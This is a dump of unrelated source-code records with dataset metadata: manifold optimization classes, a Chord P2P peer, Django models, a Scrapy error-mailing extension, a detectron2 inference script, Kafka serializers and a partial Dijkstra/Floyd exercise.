X_t = X + np.outer((np.cos(self.sigma_H * t) - 1) * np.dot(X, self.v_H) + np.sin(self.sigma_H * t) * self.u_H, self.v_H)
return X_t
def transport(self, Eta, X, H, t):
pass | from abc import ABCMeta, abstractmethod
import numpy as np
from tools import msin, mcos
class SpaceMeta:
__metaclass__ = ABCMeta
@abstractmethod
def get_G(self, grad, X):
# this function returns the projected gradient
pass
@abstractmethod
def get_H(self, G, gamma, tauH):
# this function computes the search direction from the current projected gradient and the past search direction
pass
@abstractmethod
def update_variable(self, X, H, t):
# this function updates the variable using the search direction and the step size
pass
@abstractmethod
def transport(self, Eta, X, H, t):
# this function transports an element along H into the tangent space at distance t
pass
class Euclidean(SpaceMeta):
def __init__(self):
pass
def get_G(self, grad, X):
return grad
def get_H(self, G, gamma, tauH):
H = -G + gamma * tauH
return H
def update_variable(self, X, H, t):
return X + t * H
def transport(self, Eta, X, H, t):
return Eta
class GrassmannianSVD(SpaceMeta):
# see Edelman et al.
def __init__(self, m, k):
self.U_H = np.zeros((m, k))
self.Sigma_H = np.zeros((k, k))
self.V_H = np.zeros((k, k))
def get_G(self, grad, X):
G = grad - np.dot(X, np.dot(X.T, grad))
return G
def get_H(self, G, gamma, tauH):
H = -G + gamma * tauH
try:
self.U_H, sigmas_H, V_H_T = np.linalg.svd(H, full_matrices=False)
self.Sigma_H[:, :] = np.diag(sigmas_H)
self.V_H = V_H_T.T
except:
print "Problem is badly conditioned. Aborting..."
exit()
return H
def update_variable(self, X, H, t):
X_t = np.dot(np.dot(X, np.dot(self.V_H, mcos(self.Sigma_H * t))) + np.dot(self.U_H, msin(self.Sigma_H * t)), self.V_H.T)
return X_t
def transport(self, Eta, X, H, t):
tauEta = Eta - np.dot(np.dot(np.dot(X, self.V_H), msin(self.Sigma_H * t)) + np.dot(self.U_H, (np.eye(X.shape[1]) - mcos(self.Sigma_H * t))), np.dot(self.U_H.T, Eta))
return tauEta
class GrassmannianSVDrank1(SpaceMeta):
# see GROUSE method by Balzano et al.
def __init__(self, m, k):
self.u_H = np.zeros((m,))
self.alpha = 0
self.sigma_H = 0
self.v_H = np.zeros((k,))
self.beta = 0
def get_G(self, grad, X):
G = (grad[0] - np.dot(X, np.dot(X.T, grad[0])), grad[1])
return G
def get_H(self, G, gamma, tauH):
H = (-G[0], G[1])
self.u_H = H[0] / np.linalg.norm(H[0])
self.v_H = H[1] / np.linalg.norm(H[1])
self.sigma_H = np.linalg.norm(H[0]) * np.linalg.norm(H[1])
return H
def update_variable(self, X, H, t):
X_t = X + np.outer((np.cos(self.sigma_H * t) - 1) * np.dot(X, self.v_H) + np.sin(self.sigma_H * t) * self.u_H, self.v_H)
return X_t
def transport(self, Eta, X, H, t):
pass | en | 0.709197 | # this function returns the projected gradient # this function computes the search direction from the current projected gradient and the past search direction # this function updates the variable using the search direction and the step size # this function transports an element along H into the tangent space at distance t # see Edelman et al. # see GROUSE method by Balzano et al. | 2.786428 | 3 |
ChordServer (alt.)/peer.py | hoanhan101/chord | 1 | 6623558 | <filename>ChordServer (alt.)/peer.py<gh_stars>1-10
#!/usr/bin/env python3
"""
peer.py - A Peer acts as a Server and a Client
Author:
- <NAME> (<EMAIL>)
- <NAME> (<EMAIL>)
Date: 11/15/2017
"""
import zerorpc
from chord_instance import ChordInstance
from const import *
from utils import *
from threading import Thread
class Server(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
try:
print("SERVER_THREAD IS RUNNING")
s = zerorpc.Server(my_chord_instance)
s.bind("tcp://{0}:{1}".format(my_IP, default_port))
s.run()
except KeyboardInterrupt:
print("Exit using KeyboardInterrupt")
class Client(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
try:
print("CLIENT_THREAD IS RUNNING")
your_IP = input("Enter IP to join: ")
c = zerorpc.Client()
c.connect("tcp://{0}:{1}".format(your_IP, default_port))
if c.is_alive():
instance_list = deserialize(c.get_instance_list())
# append to a local list and join the first instance (can be anyone in the list)
instance_list.append(my_chord_instance)
my_chord_instance.join(instance_list[0])
# update the instance list locally
my_chord_instance.set_instance_list(serialize(instance_list))
# update other instance list using RPC as well
for instance in my_chord_instance.instance_list:
if instance.IP_ADDRESS != my_IP:
temp_client = zerorpc.Client()
temp_client.connect("tcp://{0}:{1}".format(instance.IP_ADDRESS, default_port))
temp_client.set_instance_list(serialize(instance_list))
except KeyboardInterrupt:
print("Exit using KeyboardInterrupt")
if __name__ == '__main__':
my_IP = get_my_IP()
# temporary instance list, use to startup a chord instance
# real instance list is an attribute in chord instance
instance_list = []
my_chord_instance = ChordInstance(my_IP, default_port)
instance_list.append(my_chord_instance)
server = Server()
client = Client()
server.start()
client.start()
| <filename>ChordServer (alt.)/peer.py<gh_stars>1-10
#!/usr/bin/env python3
"""
peer.py - A Peer acts as a Server and a Client
Author:
- <NAME> (<EMAIL>)
- <NAME> (<EMAIL>)
Date: 11/15/2017
"""
import zerorpc
from chord_instance import ChordInstance
from const import *
from utils import *
from threading import Thread
class Server(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
try:
print("SERVER_THREAD IS RUNNING")
s = zerorpc.Server(my_chord_instance)
s.bind("tcp://{0}:{1}".format(my_IP, default_port))
s.run()
except KeyboardInterrupt:
print("Exit using KeyboardInterrupt")
class Client(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
try:
print("CLIENT_THREAD IS RUNNING")
your_IP = input("Enter IP to join: ")
c = zerorpc.Client()
c.connect("tcp://{0}:{1}".format(your_IP, default_port))
if c.is_alive():
instance_list = deserialize(c.get_instance_list())
# append to a local list and join the first instance (can be anyone in the list)
instance_list.append(my_chord_instance)
my_chord_instance.join(instance_list[0])
# update the instance list locally
my_chord_instance.set_instance_list(serialize(instance_list))
# update other instance list using RPC as well
for instance in my_chord_instance.instance_list:
if instance.IP_ADDRESS != my_IP:
temp_client = zerorpc.Client()
temp_client.connect("tcp://{0}:{1}".format(instance.IP_ADDRESS, default_port))
temp_client.set_instance_list(serialize(instance_list))
except KeyboardInterrupt:
print("Exit using KeyboardInterrupt")
if __name__ == '__main__':
my_IP = get_my_IP()
# temporary instance list, use to startup a chord instance
# real instance list is an attribute in chord instance
instance_list = []
my_chord_instance = ChordInstance(my_IP, default_port)
instance_list.append(my_chord_instance)
server = Server()
client = Client()
server.start()
client.start()
| en | 0.753508 | #!/usr/bin/env python3 peer.py - A Peer acts as a Server and a Client Author: - <NAME> (<EMAIL>) - <NAME> (<EMAIL>) Date: 11/15/2017 # append to a local list and join the first instance (can be anyone in the list) # update the instance list locally # update other instance list using RPC as well # temporary instance list, use to startup a chord instance # real instance list is an attribute in chord instance | 2.950428 | 3 |
ap/models.py | edithamadi/Awwwards | 0 | 6623559 | <reponame>edithamadi/Awwwards<gh_stars>0
from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Projects(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE,primary_key = True)
title = models.TextField(max_length = 20, default="title here")
landing_page_image = models.ImageField(upload_to = 'images/')
description = models.TextField()
# link_to_live_site = models.URLField(max_length=250,default = )
def __str__(self):
return self.user.username
def save_projects(self):
self.save()
def delete_projects(self):
self.delete()
@classmethod
def search_projects(cls , search_term):
projects = cls.objects.filter( first_name__icontains = search_term )
return projects
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE,primary_key = True)
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
profile_photo = models.ImageField(upload_to='profile/')
bio = models.CharField(max_length=200)
projects = models.ForeignKey(Projects, null=True)
user_contact_info=models.IntegerField(default=0)
def __str__(self):
return self.user.username
def save_profile(self):
self.save()
def delete_profile(self):
self.delete()
@classmethod
def search_profile(cls , search_term):
profiles = cls.objects.filter( first_name__icontains = search_term )
return profiles
| from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Projects(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE,primary_key = True)
title = models.TextField(max_length = 20, default="title here")
landing_page_image = models.ImageField(upload_to = 'images/')
description = models.TextField()
# link_to_live_site = models.URLField(max_length=250,default = )
def __str__(self):
return self.user.username
def save_projects(self):
self.save()
def delete_projects(self):
self.delete()
@classmethod
def search_projects(cls , search_term):
projects = cls.objects.filter( first_name__icontains = search_term )
return projects
class Profile(models.Model):
user = models.OneToOneField(User, on_delete=models.CASCADE,primary_key = True)
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
profile_photo = models.ImageField(upload_to='profile/')
bio = models.CharField(max_length=200)
projects = models.ForeignKey(Projects, null=True)
user_contact_info=models.IntegerField(default=0)
def __str__(self):
return self.user.username
def save_profile(self):
self.save()
def delete_profile(self):
self.delete()
@classmethod
def search_profile(cls , search_term):
profiles = cls.objects.filter( first_name__icontains = search_term )
return profiles | en | 0.374589 | # Create your models here. # link_to_live_site = models.URLField(max_length=250,default = ) | 2.308125 | 2 |
nrc/nrc/extensions/failLogger.py | SkyTruth/scraper | 2 | 6623560 |
import StringIO
from datetime import datetime
import smtplib
import traceback
from scrapy import signals
from scrapy import log
from nrc import settings
class FailLogger(object):
@classmethod
def from_crawler(cls, crawler):
ext = cls()
crawler.signals.connect(ext.spider_error, signal=signals.spider_error)
crawler.signals.connect(ext.spider_close, signal=signals.spider_closed)
return ext
def spider_error(self, failure, response, spider):
spider.exception_count += 1
if spider.exception_count == 1:
# email on first exception
temp = StringIO.StringIO()
temp.write("Uncaught exception from {0}:\n\t{1}\n\n"
.format(spider.name, failure.getErrorMessage()))
failure.printTraceback(file=temp)
message = temp.getvalue()
self.send_error_email (spider, message, failure)
temp.close()
def spider_close(self, spider, reason):
if spider.exception_count > 1:
message = ("Total of %s uncaught exceptions in %s execution."
% (spider.exception_count, spider.name))
self.send_error_email (spider, message)
@staticmethod
def report_exception(spider, e, srcmsg=""):
spider.exception_count += 1
if spider.exception_count == 1:
msg = ("{0}\nUncaught exception from {1}:\n\t{2}\n\n{3}"
.format(srcmsg, spider.name, e, traceback.format_exc()))
FailLogger.send_error_email (spider, msg, e)
@staticmethod
def send_error_email (spider, message, failure=None):
if isinstance(failure, Exception):
subject = ('%s Exception: %s' % (spider.name, failure))
elif failure:
subject = ('%s Exception: %s'
% (spider.name, failure.getErrorMessage()))
else:
subject = '%s: %s Exceptions' % (spider.name,
spider.exception_count)
spider.log ('Sending alert:\n\t%s' % (subject,), log.ERROR)
senddate = datetime.strftime(datetime.now(), '%Y-%m-%d')
header = ("Date: %s\r\nFrom: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n"
% (senddate, settings.MAIL_FROM, settings.MAIL_TO, subject))
server = smtplib.SMTP('%s:%s'
% (settings.MAIL_HOST, settings.MAIL_PORT))
server.starttls()
server.login(settings.MAIL_USER, settings.MAIL_PASS)
server.sendmail(settings.MAIL_FROM, settings.MAIL_TO, header+message)
server.quit()
|
import StringIO
from datetime import datetime
import smtplib
import traceback
from scrapy import signals
from scrapy import log
from nrc import settings
class FailLogger(object):
@classmethod
def from_crawler(cls, crawler):
ext = cls()
crawler.signals.connect(ext.spider_error, signal=signals.spider_error)
crawler.signals.connect(ext.spider_close, signal=signals.spider_closed)
return ext
def spider_error(self, failure, response, spider):
spider.exception_count += 1
if spider.exception_count == 1:
# email on first exception
temp = StringIO.StringIO()
temp.write("Uncaught exception from {0}:\n\t{1}\n\n"
.format(spider.name, failure.getErrorMessage()))
failure.printTraceback(file=temp)
message = temp.getvalue()
self.send_error_email (spider, message, failure)
temp.close()
def spider_close(self, spider, reason):
if spider.exception_count > 1:
message = ("Total of %s uncaught exceptions in %s execution."
% (spider.exception_count, spider.name))
self.send_error_email (spider, message)
@staticmethod
def report_exception(spider, e, srcmsg=""):
spider.exception_count += 1
if spider.exception_count == 1:
msg = ("{0}\nUncaught exception from {1}:\n\t{2}\n\n{3}"
.format(srcmsg, spider.name, e, traceback.format_exc()))
FailLogger.send_error_email (spider, msg, e)
@staticmethod
def send_error_email (spider, message, failure=None):
if isinstance(failure, Exception):
subject = ('%s Exception: %s' % (spider.name, failure))
elif failure:
subject = ('%s Exception: %s'
% (spider.name, failure.getErrorMessage()))
else:
subject = '%s: %s Exceptions' % (spider.name,
spider.exception_count)
spider.log ('Sending alert:\n\t%s' % (subject,), log.ERROR)
senddate = datetime.strftime(datetime.now(), '%Y-%m-%d')
header = ("Date: %s\r\nFrom: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n"
% (senddate, settings.MAIL_FROM, settings.MAIL_TO, subject))
server = smtplib.SMTP('%s:%s'
% (settings.MAIL_HOST, settings.MAIL_PORT))
server.starttls()
server.login(settings.MAIL_USER, settings.MAIL_PASS)
server.sendmail(settings.MAIL_FROM, settings.MAIL_TO, header+message)
server.quit()
| en | 0.726257 | # email on first exception | 2.392714 | 2 |
src/inference.py | aidotse/d2seabirds | 0 | 6623561 | # Some basic setup:
import torch, torchvision
# Setup detectron2 logger
import detectron2
from detectron2.utils.logger import setup_logger
setup_logger()
# import some common libraries
import numpy as np
import os, json, cv2, random
from skimage.io import imread
from skimage.segmentation import mark_boundaries
from skimage.measure import label, regionprops, find_contours
# import some common detectron2 utilities
from detectron2 import model_zoo
from detectron2.engine import DefaultPredictor
from detectron2.config import get_cfg
from detectron2.utils.visualizer import Visualizer
from detectron2.data import MetadataCatalog, DatasetCatalog, build_detection_test_loader
import pycocotools
from PIL import Image, ImageDraw
import numpy as np
import ipdb
from detectron2.structures import BoxMode
from detectron2.engine import DefaultTrainer
import detectron2.data.transforms as T
from detectron2.data import DatasetMapper
import re
from detectron2.evaluation import COCOEvaluator, inference_on_dataset
# Only one sequence will be considered. Just one video.
# Paths with multiple images
parent_annotation_path="/home/juan.vallado/data/YoutubeVIS/train/Annotations/"
parent_image_path="/home/juan.vallado/data/YoutubeVIS/train/JPEGImages/"
output_dir = "/home/appuser/output"
# Get datasets
dataset1 = os.listdir('/home/appuser/output')[0]
dataset2 = os.listdir('/home/appuser/output')[1]
datasets = [dataset1, dataset2]
def get_youtube_dicts(img_dir, mask_dir):
id = 0
data = []
for image in os.listdir(img_dir):
#if id == 0:
# record['annotations']=[]
mask_path = os.path.join(mask_dir, "{}.png".format(image[:-4]))
im=Image.open(mask_path)
record = {}
record['file_name']=os.path.join(img_dir, image)
record['image_id']=id
record['height']=im.size[1]
record['width']=im.size[0]
ann = {}
objects = list(np.unique(np.asarray(im)))
stuff = []
for i in objects[1:]:
ann['bbox']=extract_bboxes(np.where(np.asarray(im, order="F")==i, i, 0), im)
ann['bbox_mode']=BoxMode.XYWH_ABS
#ipdb.set_trace()
ann['segmentation']=pycocotools.mask.encode( \
np.asfortranarray( \
np.where(np.asarray(im, order="F")==i, i, 0) \
.astype(np.uint8)
)
)
ann['category_id']=0
stuff.append(ann)
ann={}
record['annotations']=stuff
data.append(record)
segm = []
id = id+1
return data
def extract_bboxes(arr, im):
# Extract class
props = regionprops(arr)
assert len(props) == 1, "Error: Expected one mask, but got {}".format(len(props))
assert props[0].area > 0, "Error: Area of mask is <0!"
rmin, cmin, rmax, cmax=props[0].bbox
return [float(cmin), float(rmin), float(cmax-cmin), float(rmax-rmin)]
#return props[0].bbox
def register(annotation_path, image_path, name):
for d in ["train", "test"]:
DatasetCatalog.register("ytvis_{}_".format(name) + d, lambda d=d: get_youtube_dicts("{0}/{1}".format(image_path, d), "{0}/{1}".format(annotation_path, d)))
MetadataCatalog.get("ytvis_{}_".format(name) + d).thing_classes = ["target"]
# Register datasets
def register_datasets():
cfg = get_cfg()
for dataset in datasets:
cfg.merge_from_file("/home/appuser/output/{}/config.yaml".format(dataset))
if cfg.MODEL.BACKBONE.FREEZE_AT == 2: # BL model
annotation_path = os.path.join(parent_annotation_path, dataset)
image_path = os.path.join(parent_image_path, dataset)
register(annotation_path, image_path, "bl")
else:
annotation_path = os.path.join(parent_annotation_path, dataset)
image_path = os.path.join(parent_image_path, dataset)
register(annotation_path, image_path, "tl")
# Declare model and prepare weights for inference
cfg = get_cfg()
cfg.merge_from_file("/home/appuser/output/{}/config.yaml".format(dataset))
cfg.MODEL.WEIGHTS = os.path.join("/home/appuser/output/{}".format(dataset), "model_final.pth") # path to the model we just trained
cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.7 # set a custom testing threshold
#ipdb.set_trace()
return cfg
# Prueba
cfg = register_datasets()
from detectron2.utils.visualizer import ColorMode
predictor = DefaultPredictor(cfg)
# Results for first dataset
evaluator = COCOEvaluator("ytvis_bl_test", cfg, False, output_dir)
val_loader = build_detection_test_loader(cfg, "ytvis_bl_test")
inference_on_dataset(predictor.model, val_loader, evaluator)
# Results for second dataset
evaluator = COCOEvaluator("ytvis_tl_test", cfg, False, output_dir)
val_loader = build_detection_test_loader(cfg, "ytvis_tl_test")
inference_on_dataset(predictor.model, val_loader, evaluator)
dataset_dicts_tl = DatasetCatalog.get("ytvis_tl_test")
ytvis_metadata_tl = MetadataCatalog.get("ytvis_tl_train")
dataset_dicts_bl = DatasetCatalog.get("ytvis_bl_test")
ytvis_metadata_bl = MetadataCatalog.get("ytvis_bl_train")
#Save images from tl model
imgs = []
for d in random.sample(dataset_dicts_tl, 3):
im = cv2.imread(d["file_name"])
outputs = predictor(im) # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format
v = Visualizer(im[:, :, ::-1],
metadata=ytvis_metadata_tl,
scale=0.5,
instance_mode=ColorMode.IMAGE_BW # remove the colors of unsegmented pixels. This option is only available for segmentation models
)
out = v.draw_instance_predictions(outputs["instances"].to("cpu"))
imgs.append(out.get_image()[:, :, ::-1])
for i in range (0, len(imgs)):
cv2.imwrite("output/{}tl.jpg".format(i), imgs[i])
#Save images from bl model
imgs = []
for d in random.sample(dataset_dicts_bl, 3):
im = cv2.imread(d["file_name"])
outputs = predictor(im) # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format
v = Visualizer(im[:, :, ::-1],
metadata=ytvis_metadata_bl,
scale=0.5,
instance_mode=ColorMode.IMAGE_BW # remove the colors of unsegmented pixels. This option is only available for segmentation models
)
out = v.draw_instance_predictions(outputs["instances"].to("cpu"))
imgs.append(out.get_image()[:, :, ::-1])
for i in range (0, len(imgs)):
cv2.imwrite("output/{}bl.jpg".format(i), imgs[i])
| # Some basic setup:
import torch, torchvision
# Setup detectron2 logger
import detectron2
from detectron2.utils.logger import setup_logger
setup_logger()
# import some common libraries
import numpy as np
import os, json, cv2, random
from skimage.io import imread
from skimage.segmentation import mark_boundaries
from skimage.measure import label, regionprops, find_contours
# import some common detectron2 utilities
from detectron2 import model_zoo
from detectron2.engine import DefaultPredictor
from detectron2.config import get_cfg
from detectron2.utils.visualizer import Visualizer
from detectron2.data import MetadataCatalog, DatasetCatalog, build_detection_test_loader
import pycocotools
from PIL import Image, ImageDraw
import numpy as np
import ipdb
from detectron2.structures import BoxMode
from detectron2.engine import DefaultTrainer
import detectron2.data.transforms as T
from detectron2.data import DatasetMapper
import re
from detectron2.evaluation import COCOEvaluator, inference_on_dataset
# Only one sequence will be considered. Just one video.
# Paths with multiple images
parent_annotation_path="/home/juan.vallado/data/YoutubeVIS/train/Annotations/"
parent_image_path="/home/juan.vallado/data/YoutubeVIS/train/JPEGImages/"
output_dir = "/home/appuser/output"
# Get datasets
dataset1 = os.listdir('/home/appuser/output')[0]
dataset2 = os.listdir('/home/appuser/output')[1]
datasets = [dataset1, dataset2]
def get_youtube_dicts(img_dir, mask_dir):
id = 0
data = []
for image in os.listdir(img_dir):
#if id == 0:
# record['annotations']=[]
mask_path = os.path.join(mask_dir, "{}.png".format(image[:-4]))
im=Image.open(mask_path)
record = {}
record['file_name']=os.path.join(img_dir, image)
record['image_id']=id
record['height']=im.size[1]
record['width']=im.size[0]
ann = {}
objects = list(np.unique(np.asarray(im)))
stuff = []
for i in objects[1:]:
ann['bbox']=extract_bboxes(np.where(np.asarray(im, order="F")==i, i, 0), im)
ann['bbox_mode']=BoxMode.XYWH_ABS
#ipdb.set_trace()
ann['segmentation']=pycocotools.mask.encode( \
np.asfortranarray( \
np.where(np.asarray(im, order="F")==i, i, 0) \
.astype(np.uint8)
)
)
ann['category_id']=0
stuff.append(ann)
ann={}
record['annotations']=stuff
data.append(record)
segm = []
id = id+1
return data
def extract_bboxes(arr, im):
# Extract class
props = regionprops(arr)
assert len(props) == 1, "Error: Expected one mask, but got {}".format(len(props))
assert props[0].area > 0, "Error: Area of mask is <0!"
rmin, cmin, rmax, cmax=props[0].bbox
return [float(cmin), float(rmin), float(cmax-cmin), float(rmax-rmin)]
#return props[0].bbox
def register(annotation_path, image_path, name):
for d in ["train", "test"]:
DatasetCatalog.register("ytvis_{}_".format(name) + d, lambda d=d: get_youtube_dicts("{0}/{1}".format(image_path, d), "{0}/{1}".format(annotation_path, d)))
MetadataCatalog.get("ytvis_{}_".format(name) + d).thing_classes = ["target"]
# Register datasets
def register_datasets():
cfg = get_cfg()
for dataset in datasets:
cfg.merge_from_file("/home/appuser/output/{}/config.yaml".format(dataset))
if cfg.MODEL.BACKBONE.FREEZE_AT == 2: # BL model
annotation_path = os.path.join(parent_annotation_path, dataset)
image_path = os.path.join(parent_image_path, dataset)
register(annotation_path, image_path, "bl")
else:
annotation_path = os.path.join(parent_annotation_path, dataset)
image_path = os.path.join(parent_image_path, dataset)
register(annotation_path, image_path, "tl")
# Declare model and prepare weights for inference
cfg = get_cfg()
cfg.merge_from_file("/home/appuser/output/{}/config.yaml".format(dataset))
cfg.MODEL.WEIGHTS = os.path.join("/home/appuser/output/{}".format(dataset), "model_final.pth") # path to the model we just trained
cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.7 # set a custom testing threshold
#ipdb.set_trace()
return cfg
# Prueba
cfg = register_datasets()
from detectron2.utils.visualizer import ColorMode
predictor = DefaultPredictor(cfg)
# Results for first dataset
evaluator = COCOEvaluator("ytvis_bl_test", cfg, False, output_dir)
val_loader = build_detection_test_loader(cfg, "ytvis_bl_test")
inference_on_dataset(predictor.model, val_loader, evaluator)
# Results for second dataset
evaluator = COCOEvaluator("ytvis_tl_test", cfg, False, output_dir)
val_loader = build_detection_test_loader(cfg, "ytvis_tl_test")
inference_on_dataset(predictor.model, val_loader, evaluator)
dataset_dicts_tl = DatasetCatalog.get("ytvis_tl_test")
ytvis_metadata_tl = MetadataCatalog.get("ytvis_tl_train")
dataset_dicts_bl = DatasetCatalog.get("ytvis_bl_test")
ytvis_metadata_bl = MetadataCatalog.get("ytvis_bl_train")
#Save images from tl model
imgs = []
for d in random.sample(dataset_dicts_tl, 3):
im = cv2.imread(d["file_name"])
outputs = predictor(im) # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format
v = Visualizer(im[:, :, ::-1],
metadata=ytvis_metadata_tl,
scale=0.5,
instance_mode=ColorMode.IMAGE_BW # remove the colors of unsegmented pixels. This option is only available for segmentation models
)
out = v.draw_instance_predictions(outputs["instances"].to("cpu"))
imgs.append(out.get_image()[:, :, ::-1])
for i in range (0, len(imgs)):
cv2.imwrite("output/{}tl.jpg".format(i), imgs[i])
#Save images from bl model
imgs = []
for d in random.sample(dataset_dicts_bl, 3):
im = cv2.imread(d["file_name"])
outputs = predictor(im) # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format
v = Visualizer(im[:, :, ::-1],
metadata=ytvis_metadata_bl,
scale=0.5,
instance_mode=ColorMode.IMAGE_BW # remove the colors of unsegmented pixels. This option is only available for segmentation models
)
out = v.draw_instance_predictions(outputs["instances"].to("cpu"))
imgs.append(out.get_image()[:, :, ::-1])
for i in range (0, len(imgs)):
cv2.imwrite("output/{}bl.jpg".format(i), imgs[i])
| en | 0.738856 | # Some basic setup: # Setup detectron2 logger # import some common libraries # import some common detectron2 utilities # Only one sequence will be considered. Just one video. # Paths with multiple images # Get datasets #if id == 0: # record['annotations']=[] #ipdb.set_trace() # Extract class #return props[0].bbox # Register datasets # BL model # Declare model and prepare weights for inference # path to the model we just trained # set a custom testing threshold #ipdb.set_trace() # Prueba # Results for first dataset # Results for second dataset #Save images from tl model # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format # remove the colors of unsegmented pixels. This option is only available for segmentation models #Save images from bl model # format is documented at https://detectron2.readthedocs.io/tutorials/models.html#model-output-format # remove the colors of unsegmented pixels. This option is only available for segmentation models | 2.113851 | 2 |
aioscrapy/middleware/middleware_extension.py | conlin-huang/aio-scrapy | 13 | 6623562 | <reponame>conlin-huang/aio-scrapy
"""
The Extension Manager
See documentation in docs/topics/extensions.rst
"""
from .middleware import MiddlewareManager
from scrapy.utils.conf import build_component_list
class ExtensionManager(MiddlewareManager):
component_name = 'extension'
@classmethod
def _get_mwlist_from_settings(cls, settings):
return build_component_list(settings.getwithbase('EXTENSIONS'))
| """
The Extension Manager
See documentation in docs/topics/extensions.rst
"""
from .middleware import MiddlewareManager
from scrapy.utils.conf import build_component_list
class ExtensionManager(MiddlewareManager):
component_name = 'extension'
@classmethod
def _get_mwlist_from_settings(cls, settings):
return build_component_list(settings.getwithbase('EXTENSIONS')) | en | 0.494707 | The Extension Manager
See documentation in docs/topics/extensions.rst | 1.613875 | 2 |
esque_wire/protocol/serializers/api/controlled_shutdown_response.py | real-digital/esque-wire | 0 | 6623563 | <gh_stars>0
###############################################################
# Autogenerated module. Please don't modify. #
# Edit according file in protocol_generator/templates instead #
###############################################################
from typing import Dict
from ...structs.api.controlled_shutdown_response import ControlledShutdownResponseData, RemainingPartition
from ._main_serializers import (
ArraySerializer,
ClassSerializer,
Schema,
errorCodeSerializer,
int32Serializer,
stringSerializer,
)
remainingPartitionSchemas: Dict[int, Schema] = {
0: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
1: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
2: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
}
remainingPartitionSerializers: Dict[int, ClassSerializer[RemainingPartition]] = {
version: ClassSerializer(RemainingPartition, schema) for version, schema in remainingPartitionSchemas.items()
}
remainingPartitionSerializers[-1] = remainingPartitionSerializers[2]
controlledShutdownResponseDataSchemas: Dict[int, Schema] = {
0: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[0])),
],
1: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[1])),
],
2: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[2])),
],
}
controlledShutdownResponseDataSerializers: Dict[int, ClassSerializer[ControlledShutdownResponseData]] = {
version: ClassSerializer(ControlledShutdownResponseData, schema)
for version, schema in controlledShutdownResponseDataSchemas.items()
}
controlledShutdownResponseDataSerializers[-1] = controlledShutdownResponseDataSerializers[2]
| ###############################################################
# Autogenerated module. Please don't modify. #
# Edit according file in protocol_generator/templates instead #
###############################################################
from typing import Dict
from ...structs.api.controlled_shutdown_response import ControlledShutdownResponseData, RemainingPartition
from ._main_serializers import (
ArraySerializer,
ClassSerializer,
Schema,
errorCodeSerializer,
int32Serializer,
stringSerializer,
)
remainingPartitionSchemas: Dict[int, Schema] = {
0: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
1: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
2: [("topic_name", stringSerializer), ("partition_index", int32Serializer)],
}
remainingPartitionSerializers: Dict[int, ClassSerializer[RemainingPartition]] = {
version: ClassSerializer(RemainingPartition, schema) for version, schema in remainingPartitionSchemas.items()
}
remainingPartitionSerializers[-1] = remainingPartitionSerializers[2]
controlledShutdownResponseDataSchemas: Dict[int, Schema] = {
0: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[0])),
],
1: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[1])),
],
2: [
("error_code", errorCodeSerializer),
("remaining_partitions", ArraySerializer(remainingPartitionSerializers[2])),
],
}
controlledShutdownResponseDataSerializers: Dict[int, ClassSerializer[ControlledShutdownResponseData]] = {
version: ClassSerializer(ControlledShutdownResponseData, schema)
for version, schema in controlledShutdownResponseDataSchemas.items()
}
controlledShutdownResponseDataSerializers[-1] = controlledShutdownResponseDataSerializers[2] | de | 0.58148 | ############################################################### # Autogenerated module. Please don't modify. # # Edit according file in protocol_generator/templates instead # ############################################################### | 1.516159 | 2 |
s3/py/dijkstra2.py | lisiynos/lisiynos.github.io | 1 | 6623564 | <gh_stars>1-10
# -*- utf-8 -*-
# <NAME>
from tkinter import Pack
N, M, start = map(int, input().split())
E = [] * N
for i in range(M):
f, t, w = map(int, input().split())
# Неориентированный граф
E[f].append((t, w))
E[t].append((f, w))
INF = 10 ** 10 # Бесконечность
d = [INF] * N # Кратчайшее расстояние до первой вершины
Colored = [False] * N # Когда нашли кратчайший путь -> красим вершину
Path = [-1] * N # Предыдущая вершина
add = start
min_d = 0
while min_d != INF:
# Добавляем новую вершину
Colored[add] = True
d[add] = min_d
# Пересчитываем пути через вершину add
for t, w in E[add]:
if d[add] + w < d[t]:
d[t] = d[add] + w
Path[t] = add
# Ищем минимум
min_d = INF
for i in range(N):
if not Colored[i] and d[i] < min_d:
min_d = d[i]
add = i
# Трёхмерная динамика во Флойде
# [k][i][j] - используя вершины с 1-ой по k-ую
d = [[[0] * (N + 1) for i in range(N + 1)] for j in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
d[k][i][j] = min(d[k - 1][i][j], d[k - 1][i][k] + d[k - 1][k][j])
# Сведение к квадратной матрице
F = [[0] * (N + 1) for i in range(N + 1)]
for k in range(1, N + 1):
for i in range(1, N + 1):
for j in range(1, N + 1):
F[i][j] = min(F[i][j], F[i][k] + F[k][j])
# Флойд с восстановлением пути
F = [[0] * (N + 1) for i in range(N + 1)]
